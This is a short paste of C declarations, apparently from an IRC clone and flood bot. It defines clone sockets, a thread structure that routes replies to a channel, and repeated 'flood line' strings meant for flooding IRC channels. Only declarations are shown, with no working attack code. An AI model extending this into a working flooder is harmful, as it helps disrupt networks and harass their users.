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Jun 18th, 2017
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  1.  void clone_send(char *buf);
  2.  void load_clones(char * Clone_Server,int Clone_port,int num_clones);
  3.  char * clone_nick(char *strbuf);
  4.  
  5. typedef struct clone_struct {
  6.     BOOL used;//if true socket is in use
  7.     SOCKET sock;
  8.     HANDLE Handle;
  9.     char server[512];
  10.     int port;
  11. } clonestr;
  12.  
  13. //structure to store data used by diferend threads
  14.  
  15. typedef struct threads_struct2 {
  16.     char C_name[250];//the discription of the thread showed with the threads command
  17.     int id;
  18.     HANDLE Threat_Handle;   //handle to the thread. Threat_Handle = CreateThread(.....);
  19.     SOCKET reply_sock;  //this is the socket where the replys go to
  20.     SOCKET Threads_sock;    //this socket will be closed when you kill the thread
  21.     int int_1; //to store a number  
  22.     int int_2;
  23.     int int_3;
  24.     char chan[250];     //string that holds the channel/nickname where the replys go to set to null when its a dcc chat
  25.     char string1[MAX_PATH]; //can be used to store strings
  26.     char string2[MAX_PATH];
  27. } thread2;
  28.  
  29. const char partline[] = "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a."; //part floodline
  30.  
  31. const char floodline[] = "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a.."; // Flood line
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